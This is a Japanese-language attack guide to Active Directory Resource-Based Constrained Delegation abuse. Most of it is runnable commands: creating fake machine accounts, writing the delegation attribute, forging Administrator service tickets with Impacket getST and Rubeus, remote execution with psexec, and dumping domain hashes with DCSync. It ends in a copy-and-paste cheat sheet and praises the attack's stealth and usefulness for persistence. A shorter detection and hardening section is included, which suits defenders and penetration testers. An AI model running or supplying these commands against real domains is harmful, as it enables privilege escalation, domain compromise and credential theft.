RBCD (Resource-Based Constrained Delegation) 攻撃ガイド
リソースベースの制約付き委任 (RBCD) を悪用した権限昇格の完全ガイド。攻撃の仕組み・前提条件・コマンド・防御策を解説。
RBCD (Resource-Based Constrained Delegation) 攻撃ガイド
Kerberos 委任の悪用による権限昇格の完全ガイド。
目次
Kerberos 委任の基礎
委任の種類
Active Directory には 3 種類の Kerberos 委任がある:
- Unconstrained Delegation (制約なし委任)
- Constrained Delegation (制約付き委任)
- Resource-Based Constrained Delegation (RBCD)
委任が必要な理由
sequenceDiagram
participant U as ユーザー
participant W as Web サーバー
participant D as DB サーバー
participant DC as ドメインコントローラー
Note over U,D: 委任なしの場合の問題
U->>W: 1. Web アクセス
W->>DC: 2. ユーザー認証を検証
DC->>W: 3. OK
W->>D: 4. DB アクセスを試みる
Note over W,D: ❌ ユーザー資格情報がないため<br/>DB アクセスが失敗
Note over U,D: 委任ありの場合
U->>W: 1. Web アクセス (TGT 付き)
W->>DC: 2. ユーザーに代わって<br/>DB サービスチケットをリクエスト
DC->>W: 3. DB サービスチケットを発行
W->>D: 4. ユーザーとして DB にアクセス
Note over W,D: ✅ 委任により成功
RBCD とは
主な特徴
- コンピューターアカウント側で設定する (従来の委任は委任する側で設定)
- msDS-AllowedToActOnBehalfOfOtherIdentity 属性で制御される
- Domain Admin 権限なしで設定可能 (書き込み権限のみ必要)
- S4U2Self と S4U2Proxy を使用する
従来の委任との違い
flowchart LR
subgraph "Constrained Delegation (従来)"
A1[Web サーバー] -->|設定| A2[Web サーバー側で<br/>委任先を指定]
A2 --> A3[DB サーバーに委任]
end
subgraph "RBCD (リソースベース)"
B1[DB サーバー] -->|設定| B2[DB サーバー側で<br/>委任元を指定]
B2 --> B3[Web サーバーからの<br/>委任を許可]
end
style A2 fill:#e53e3e,color:#fff
style B2 fill:#319795,color:#fff
Note1[Domain Admin 権限が必要]
Note2[GenericWrite で可能]
A2 -.-> Note1
B2 -.-> Note2
RBCD 攻撃の前提条件
✅ 必要な条件
-
対象コンピューターへの書き込み権限
GenericWriteGenericAllWriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity)WriteDACL
-
制御できるコンピューターアカウント
- 新しいコンピューターアカウントを作成できる (
ms-DS-MachineAccountQuota > 0) - または既存のコンピューターアカウントの制御権がある
- 新しいコンピューターアカウントを作成できる (
-
対象へのアクセス
- 対象に Service Principal Name (SPN) がある
- 対象がドメインに参加している
攻撃シナリオの例
- ユーザーが自分のコンピューターに
GenericAll権限を持っている (デフォルト設定) - Exchange Server 等の特権サービスアカウントが誤設定されている
- GPO 経由で過剰な権限が付与されている
攻撃フロー (シーケンス図)
完全な攻撃シーケンス
sequenceDiagram
autonumber
participant A as 攻撃者<br/>(john)
participant AD as Active Directory
participant Fake as 偽コンピューター<br/>(FAKE01$)
participant Target as 対象<br/>(WEB01)
participant DC as ドメインコントローラー
Note over A,DC: フェーズ 1: 権限の確認と準備
A->>AD: Get-DomainComputer WEB01 の<br/>ACL を確認
AD->>A: GenericWrite 権限を発見
A->>AD: Get-DomainObject<br/>ms-DS-MachineAccountQuota を確認
AD->>A: クォータ = 10<br/>(コンピューターを作成可能)
Note over A,DC: フェーズ 2: 偽コンピューターアカウントを作成
A->>AD: New-MachineAccount<br/>-MachineAccount FAKE01<br/>-Password Password123!
AD->>Fake: FAKE01$ を作成
Fake->>A: アカウント作成完了
Note over A,DC: フェーズ 3: RBCD を設定
A->>AD: WEB01 の属性を変更<br/>msDS-AllowedToActOnBehalfOfOtherIdentity
Note over A: FAKE01$ を追加
AD->>Target: RBCD 設定を適用
Note over Target: FAKE01$ からの委任を許可
Note over A,DC: フェーズ 4: S4U2Self (自分宛のチケットを取得)
A->>DC: S4U2Self リクエスト<br/>From: FAKE01$<br/>For: Administrator
Note over A: FAKE01$ として<br/>Administrator のチケットをリクエスト
DC->>DC: FAKE01$ の資格情報を検証
DC->>A: Administrator の Forwardable チケットを発行
Note over A,DC: フェーズ 5: S4U2Proxy (委任を実行)
A->>DC: S4U2Proxy リクエスト<br/>From: FAKE01$<br/>For: Administrator<br/>To: WEB01 (CIFS/HTTP/etc)
DC->>DC: WEB01 の RBCD 設定を確認
Note over DC: FAKE01$ からの委任は許可されている
DC->>A: WEB01 用の Administrator サービスチケットを発行
Note over A,DC: フェーズ 6: 対象にアクセス
A->>Target: Administrator として WEB01 にアクセス<br/>(SMB/HTTP/etc)
Target->>Target: チケットを検証
Target->>A: アクセス許可
Note over A: WEB01 を完全に制御
S4U 拡張の詳細
sequenceDiagram
participant A as FAKE01$
participant DC as DC
participant T as WEB01
Note over A,T: S4U2Self: 任意のユーザーの<br/>自分宛チケットを取得
A->>DC: TGS-REQ (S4U2Self)<br/>sname: FAKE01$<br/>for-user: Administrator
DC->>DC: FAKE01$ の権限を確認
DC->>A: TGS-REP<br/>Forwardable チケット
Note over A: 取得したチケット:<br/>Administrator -> FAKE01$
Note over A,T: S4U2Proxy: 取得したチケットを<br/>別のサービスに委任
A->>DC: TGS-REQ (S4U2Proxy)<br/>sname: CIFS/WEB01<br/>additional-tickets: [Administrator->FAKE01$]
DC->>DC: WEB01 の RBCD を確認<br/>FAKE01$ は許可されているか?
DC->>A: TGS-REP<br/>Administrator -> WEB01
Note over A: 取得したチケット:<br/>Administrator -> WEB01/CIFS
A->>T: AP-REQ<br/>Administrator チケットで認証
T->>A: Administrator としてアクセス許可
攻撃コマンド
1. 権限の確認
PowerView (Windows)
1
2
3
4
5
6
7
8
# PowerView をインポート
Import-Module .\PowerView.ps1
# 対象の権限を確認
Get-DomainObjectAcl -Identity WEB01 | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser john).objectsid}
# または特定の権限を検索
Get-DomainObjectAcl -Identity WEB01 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty"}
BloodHound (推奨)
1
2
3
4
5
6
7
8
// BloodHound クエリ: john から制御可能なコンピューター
MATCH (u:User {name:"JOHN@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteProperty|WriteDacl]->(c:Computer)
RETURN u,r,c
// 最短攻撃パス
MATCH p=shortestPath((u:User {name:"JOHN@CORP.LOCAL"})-[*1..]->(c:Computer))
WHERE ANY(rel in relationships(p) WHERE type(rel) IN ["GenericAll","GenericWrite","WriteProperty","WriteDacl"])
RETURN p
Linux (Impacket)
1
2
# dacledit.py で権限を確認
impacket-dacledit -action read -principal john -target WEB01$ corp.local/john:'Password123!' -dc-ip 10.10.10.100
2. MachineAccountQuota の確認
PowerShell
1
2
3
4
5
# ドメイン全体のクォータを確認
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota
# 現在の作成済みコンピューター数
(Get-DomainComputer).Count
Linux
1
2
3
4
# ldapsearch で確認
ldapsearch -x -H ldap://10.10.10.100 -D "cn=john,cn=users,dc=corp,dc=local" -w 'Password123!' -b "dc=corp,dc=local" "(objectClass=domain)" ms-DS-MachineAccountQuota
# 出力例: ms-DS-MachineAccountQuota: 10
3. 偽コンピューターアカウントの作成
Powermad (Windows)
1
2
3
4
5
6
7
8
# Powermad をインポート
Import-Module .\Powermad.ps1
# 新しいコンピューターアカウントを作成
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# 確認
Get-DomainComputer FAKE01
Impacket (Linux) - 推奨
1
2
3
4
5
# addcomputer.py でコンピューターを作成
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Password123!' -dc-ip 10.10.10.100 corp.local/john:'Password123!'
# 出力例:
# [*] Successfully added machine account FAKE01$ with password Password123!
StandIn (Windows - 代替)
1
2
# StandIn でコンピューターを作成
.\StandIn.exe --computer FAKE01 --make
4. RBCD の設定
PowerView (Windows)
1
2
3
4
5
6
7
8
9
10
11
12
# PowerView で RBCD を設定
# FAKE01$ の SID を取得
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select-Object -ExpandProperty objectsid
# Security Descriptor を作成
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# WEB01 の msDS-AllowedToActOnBehalfOfOtherIdentity に設定
Set-DomainObject -Identity WEB01 -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Impacket rbcd.py (Linux) - 推奨
1
2
3
4
5
6
7
# rbcd.py で RBCD を設定
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'WEB01$' -dc-ip 10.10.10.100 -action write corp.local/john:'Password123!'
# 出力例:
# [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
# [*] Delegation rights modified successfully!
# [*] FAKE01$ can now impersonate users on WEB01$ via S4U2Proxy
確認
1
2
3
4
5
6
# 設定した RBCD を確認
impacket-rbcd -delegate-to 'WEB01$' -dc-ip 10.10.10.100 -action read corp.local/john:'Password123!'
# 出力例:
# [*] Accounts allowed to act on behalf of other identity:
# [*] FAKE01$ (S-1-5-21-...)
5. S4U 攻撃の実行 (チケットの取得)
Impacket getST.py (Linux) - 推奨
1
2
3
4
5
6
7
8
9
10
11
12
# getST.py で Administrator のサービスチケットを取得
impacket-getST -spn cifs/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
# 出力:
# [*] Getting TGT for user
# [*] Impersonating Administrator
# [*] Requesting S4U2self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in Administrator@cifs_web01.corp.local@CORP.LOCAL.ccache
# 複数のサービスを指定
impacket-getST -spn cifs/web01.corp.local -spn http/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
Rubeus (Windows)
1
2
3
4
5
6
7
# Rubeus で S4U 攻撃
.\Rubeus.exe s4u /user:FAKE01$ /rc4:[NTLM hash of FAKE01$] /impersonateuser:Administrator /msdsspn:cifs/web01.corp.local /ptt
# または
.\Rubeus.exe s4u /user:FAKE01$ /password:Password123! /impersonateuser:Administrator /msdsspn:cifs/web01.corp.local /ptt
# /ptt = Pass-the-Ticket (自動的にメモリに注入)
NTLM ハッシュの計算
1
2
3
4
# FAKE01$ の NTLM ハッシュを計算
python3 -c 'import hashlib; print(hashlib.new("md4", "Password123!".encode("utf-16le")).hexdigest())'
# 出力例: 32ED87BDB5FDC5E9CBA88547376818D4
6. 対象へのアクセス
Linux (Impacket)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# KRB5CCNAME 環境変数にチケットをセット
export KRB5CCNAME=Administrator@cifs_web01.corp.local@CORP.LOCAL.ccache
# SMB アクセス
impacket-smbexec -k -no-pass web01.corp.local
# または PSExec
impacket-psexec -k -no-pass Administrator@web01.corp.local
# または secretsdump
impacket-secretsdump -k -no-pass web01.corp.local
# WMI 実行
impacket-wmiexec -k -no-pass Administrator@web01.corp.local
Windows
1
2
3
4
5
6
7
8
9
10
11
12
13
# /ptt でチケットがメモリに注入されている場合
# SMB アクセス
dir \\web01\c$
# PSExec
.\PsExec.exe \\web01 cmd
# WinRM
Enter-PSSession -ComputerName web01
# リモートコマンド実行
Invoke-Command -ComputerName web01 -ScriptBlock { whoami }
7. 追加 SPN でのアクセス
1
2
3
4
5
6
7
8
9
# HTTP サービス用のチケットを取得
impacket-getST -spn http/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
export KRB5CCNAME=Administrator@http_web01.corp.local@CORP.LOCAL.ccache
# LDAP サービス
impacket-getST -spn ldap/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
# HOST サービス (複数のサービスを含む)
impacket-getST -spn host/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
実践的なシナリオ
シナリオ 1: ユーザーが自分の PC に権限を持っている場合
多くの環境では、ユーザーが自分のコンピューターに GenericAll 権限を持っている。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 権限を確認
impacket-dacledit -action read -principal john -target JOHN-PC$ corp.local/john:'Password123!' -dc-ip 10.10.10.100
# GenericAll 権限を確認
# 2. 偽コンピューターを作成
impacket-addcomputer -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' -dc-ip 10.10.10.100 corp.local/john:'Password123!'
# 3. RBCD を設定
impacket-rbcd -delegate-from 'EVILPC$' -delegate-to 'JOHN-PC$' -dc-ip 10.10.10.100 -action write corp.local/john:'Password123!'
# 4. チケットを取得
impacket-getST -spn cifs/john-pc.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/EVILPC$:'EvilPass123!'
# 5. アクセス
export KRB5CCNAME=Administrator@cifs_john-pc.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass Administrator@john-pc.corp.local
シナリオ 2: ドメインコントローラーへの昇格
DC に GenericWrite 権限がある場合 (稀だが強力):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. DC の権限を確認
impacket-dacledit -action read -principal john -target DC01$ corp.local/john:'Password123!' -dc-ip 10.10.10.100
# 2. 偽コンピューターを作成
impacket-addcomputer -computer-name 'FAKEDC$' -computer-pass 'FakeDC123!' -dc-ip 10.10.10.100 corp.local/john:'Password123!'
# 3. RBCD を設定
impacket-rbcd -delegate-from 'FAKEDC$' -delegate-to 'DC01$' -dc-ip 10.10.10.100 -action write corp.local/john:'Password123!'
# 4. DCSync 用チケットを取得
impacket-getST -spn ldap/dc01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKEDC$:'FakeDC123!'
# 5. DCSync を実行
export KRB5CCNAME=Administrator@ldap_dc01.corp.local@CORP.LOCAL.ccache
impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@dc01.corp.local
# Domain Admin ハッシュを取得!
シナリオ 3: コンピューターアカウントをすでに制御している場合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# コンピューターアカウントのパスワードをすでに知っている場合
# (例: LAPS の脆弱性、平文パスワードの発見 等)
# 1. 制御しているコンピューター: COMPROMISED01$
# パスワード: CompPass123!
# 2. 対象: WEB01$
# 権限: COMPROMISED01$ が WEB01$ に GenericWrite を持っている
# 3. RBCD を設定
impacket-rbcd -delegate-from 'COMPROMISED01$' -delegate-to 'WEB01$' -dc-ip 10.10.10.100 -action write corp.local/COMPROMISED01$:'CompPass123!'
# 4. チケットを取得して攻撃
impacket-getST -spn cifs/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/COMPROMISED01$:'CompPass123!'
export KRB5CCNAME=Administrator@cifs_web01.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass Administrator@web01.corp.local
検出と防御
検出方法
1. イベントログの監視
1
2
3
4
5
6
7
8
9
# イベント ID 4742: コンピューターアカウントの変更
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4742} | Where-Object {$_.Message -match "msDS-AllowedToActOnBehalfOfOtherIdentity"}
# イベント ID 4741: コンピューターアカウントの作成
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4741}
# イベント ID 4769: Kerberos サービスチケットリクエスト
# S4U2Self/S4U2Proxy を検出
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} | Where-Object {$_.Message -match "Ticket Options.*0x40810000"}
2. RBCD 設定の監査
1
2
3
4
5
# すべてのコンピューターの RBCD 設定を確認
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -eq "msDS-AllowedToActOnBehalfOfOtherIdentity"}
# または
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}
3. 新しいコンピューターアカウントの監視
1
2
# 最近 (24 時間以内) に作成されたコンピューター
Get-ADComputer -Filter {whenCreated -gt $((Get-Date).AddDays(-1))} -Properties whenCreated | Select-Object Name,whenCreated
防御策
1. MachineAccountQuota を 0 に設定
1
2
3
4
5
# ドメインレベルで設定
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}
# 確認
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties ms-DS-MachineAccountQuota
2. コンピューターアカウントへの書き込み権限を制限
1
2
# 不要な GenericWrite/GenericAll 権限を削除
# 削除前に BloodHound で監査を実施
3. Protected Users グループを使用
1
2
3
4
# 特権ユーザーを Protected Users に追加
Add-ADGroupMember -Identity "Protected Users" -Members Administrator,krbtgt
# Protected Users は委任を使用できない
4. RBCD 監視スクリプトの展開
1
2
3
4
5
6
7
# RBCD 設定を定期的に監査
$computers = Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
foreach ($computer in $computers) {
if ($computer.'msDS-AllowedToActOnBehalfOfOtherIdentity') {
Write-Warning "$($computer.Name) has RBCD configured!"
}
}
関連する攻撃手法
Unconstrained Delegation 攻撃
sequenceDiagram
participant A as 攻撃者
participant UC as 制約なし委任<br/>サーバー
participant DC as ドメインコントローラー
participant V as 被害者<br/>(Domain Admin)
Note over UC: TrustedForDelegation = True
A->>UC: サーバーを侵害
Note over A: 強制認証攻撃で<br/>Domain Admin を誘導
A->>V: PrinterBug /<br/>PetitPotam
V->>UC: 認証 (TGT 付き)
UC->>UC: TGT をメモリに保存
A->>UC: Rubeus.exe dump
UC->>A: Domain Admin TGT を抽出
A->>DC: TGT で認証
DC->>A: Domain Admin アクセス
攻撃コマンド
1
2
3
4
5
6
7
8
# Unconstrained Delegation サーバーを検索
Get-DomainComputer -Unconstrained
# TGT を抽出
.\Rubeus.exe dump
# または Mimikatz
sekurlsa::tickets /export
Constrained Delegation 攻撃
sequenceDiagram
participant A as 攻撃者
participant CD as 制約付き委任<br/>アカウント
participant DC as ドメインコントローラー
participant T as 対象<br/>サービス
Note over CD: msDS-AllowedToDelegateTo:<br/>CIFS/TARGET
A->>CD: アカウントを侵害<br/>(パスワード/ハッシュ)
A->>DC: S4U2Self リクエスト<br/>For: Administrator
DC->>A: Administrator チケット
A->>DC: S4U2Proxy リクエスト<br/>To: CIFS/TARGET
DC->>A: TARGET 用チケット
A->>T: Administrator として接続
攻撃コマンド
1
2
3
4
5
6
# Constrained Delegation のアカウントを検索
Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth
# getST で攻撃
impacket-getST -spn cifs/target.corp.local -impersonate Administrator -hashes :NTLMHASH corp.local/serviceaccount$
Shadow Credentials 攻撃
RBCD に似ているが証明書ベースの攻撃:
1
2
3
4
5
# pywhisker で Shadow Credentials を設定
python3 pywhisker.py -d corp.local -u john -p 'Password123!' --target WEB01$ --action add
# 証明書で認証
certipy auth -pfx web01.pfx -dc-ip 10.10.10.100
トラブルシューティング
エラー 1: “KDC_ERR_BADOPTION”
原因: 対象に TrustedToAuthForDelegation フラグが設定されていない。
解決策:
1
2
# WEB01$ が委任を受け入れるよう設定されているか確認
Get-ADComputer WEB01 -Properties TrustedToAuthForDelegation
エラー 2: “KRB_AP_ERR_MODIFIED”
原因: チケットが無効、または時刻同期の問題。
解決策:
1
2
3
4
5
# NTP で時刻を同期
sudo ntpdate 10.10.10.100
# または
sudo timedatectl set-ntp true
エラー 3: “STATUS_ACCESS_DENIED”
原因: RBCD の設定が誤っているか、SPN が存在しない。
解決策:
1
2
3
4
5
# RBCD 設定を再確認
impacket-rbcd -delegate-to 'WEB01$' -action read corp.local/john:'Password123!' -dc-ip 10.10.10.100
# SPN を確認
setspn -L WEB01
チートシート
完全な攻撃フロー (コピー&ペースト用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# === 1. 権限を確認 ===
impacket-dacledit -action read -principal john -target WEB01$ corp.local/john:'Password123!' -dc-ip 10.10.10.100
# === 2. 偽コンピューターを作成 ===
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Password123!' -dc-ip 10.10.10.100 corp.local/john:'Password123!'
# === 3. RBCD を設定 ===
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'WEB01$' -dc-ip 10.10.10.100 -action write corp.local/john:'Password123!'
# === 4. チケットを取得 ===
impacket-getST -spn cifs/web01.corp.local -impersonate Administrator -dc-ip 10.10.10.100 corp.local/FAKE01$:'Password123!'
# === 5. アクセス ===
export KRB5CCNAME=Administrator@cifs_web01.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass Administrator@web01.corp.local
主要ツール
| ツール | 用途 |
|---|---|
| PowerView | 権限の列挙と RBCD 設定 (Windows) |
| Impacket rbcd.py | RBCD の設定 (Linux) |
| Impacket getST.py | S4U 攻撃 / チケット取得 |
| Rubeus | S4U 攻撃 (Windows) |
| BloodHound | 攻撃パスの可視化 |
| Powermad | コンピューターアカウントの作成 |
まとめ
RBCD 攻撃が強力で人気がある理由:
✅ Domain Admin 不要 - GenericWrite のみで実行可能 ✅ 検出が困難 - 正規の Kerberos プロトコルを使用 ✅ 柔軟性が高い - 任意のユーザーを偽装可能 ✅ 永続化に向いている - RBCD 設定を残しておけば再侵入が容易